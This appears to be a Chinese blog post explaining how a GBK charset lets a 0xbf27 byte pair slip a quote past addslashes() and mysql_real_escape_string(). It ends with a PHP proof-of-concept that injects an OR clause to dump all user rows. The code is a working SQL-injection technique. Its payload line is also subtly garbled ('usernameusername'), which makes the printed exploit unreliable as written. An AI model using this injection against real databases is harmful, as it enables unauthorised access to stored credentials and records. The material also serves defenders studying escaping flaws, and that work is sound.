其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触发了。
mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一：
改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二：
在建立连接时使用
SET CHARACTER SET 'GBK'
例：mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php $c = mysql_connect("localhost", "user", "pass"); mysql_select_db("database", $c); // change our character set mysql_query("SET CHARACTER SET 'gbk'", $c); // create demo table mysql_query("CREATE TABLE users ( username VARCHAR(32) PRIMARY KEY, password VARCHAR(32) ) CHARACTER SET 'GBK'", $c); mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c); // now the exploit code $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR usernameusername = username /*'; $_POST['password'] = 'anything'; // Proper escaping, we should be safe, right? $user = mysql_real_escape_string($_POST['username'], $c); $passwd = mysql_real_escape_string($_POST['password'], $c); $sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'"; $res = mysql_query($sql, $c); echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records ?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。
标签分类：
